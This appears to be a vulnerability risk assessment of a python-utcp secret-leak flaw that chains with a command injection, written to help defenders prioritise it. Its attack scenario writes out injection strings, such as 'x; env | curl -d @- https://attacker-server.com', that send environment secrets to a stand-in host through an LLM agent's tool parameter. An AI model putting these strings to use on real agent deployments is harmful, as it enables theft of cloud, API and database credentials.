python-utcp CVE-2026-45370

Exploitation requires authenticated access to python-utcp tool invocation endpoints (PR:L) and vulnerable version <= 1.1.1 deployed. Attack succeeds against default configurations when chained with CVE-2026-45369 command injection. Host process environment must contain secrets (standard practice in cloud deployments following twelve-factor methodology). No user interaction required (UI:N). Limiting factors: attacker needs low-privilege tool access (not unauthenticated public exposure), and must know or guess tool parameter names accepted by CLI commands. Changed Scope (S:C) indicates secrets from parent process (one trust boundary) leak to subprocess context under attacker control (different boundary). If environment variables are already empty or contain only non-sensitive data, confidentiality impact is reduced, but this contradicts typical deployment patterns for AI agent frameworks where API keys and cloud credentials are environment-configured.

Real-world risk is HIGH despite 7.7 CVSS. Attack vector is network-based requiring only low-privilege authentication (AV:N/AC:L/PR:L), matching typical LLM agent deployments where tool access is the primary privilege boundary. Changed Scope (S:C) and High Confidentiality impact (C:H) accurately reflect cross-context secret exfiltration. CRITICAL AMPLIFIER: GitHub advisory explicitly confirms this vulnerability chains with CVE-2026-45369 (command injection in _substitute_utcp_args), enabling single-request exploitation. Proof-of-concept demonstrates practical exploitation: injecting 'env | curl -d @- attacker.com' into tool arguments exfiltrates all secrets via HTTP POST. No EPSS score or CISA KEV data provided, but GitHub advisory includes working POC code, significantly lowering exploitation barrier. Typical victim environments (AI agent frameworks, LLM tool servers) store high-value secrets in environment variables per twelve-factor app pattern, making impact severe. Attack complexity is genuinely LOW - no race conditions, no cryptographic breaks, just malicious input to a tool parameter. Primary risk qualifier: requires existing tool invocation capability (PR:L), but this is the core use case for python-utcp deployments, not a limiting factor. Defenders should prioritize this over many higher-CVSS issues because exploitation is trivial for anyone with LLM tool access and secrets are immediately actionable (cloud infrastructure access, API billing).

An AI agent exposes python-utcp CLI tools to authenticated LLM users. Attacker crafts tool invocation with parameter value 'x; env | curl -d @- https://attacker-server.com' exploiting CVE-2026-45369 command injection. The subprocess executes with full os.environ copy, dumping AWS_SECRET_ACCESS_KEY, OPENAI_API_KEY, and DATABASE_URL to attacker's HTTP endpoint. Attacker uses stolen AWS credentials to access S3 buckets or EC2 instances, LLM keys to rack up API charges, or database URLs to exfiltrate customer data. GitHub advisory provides working proof-of-concept requiring only tool invocation access.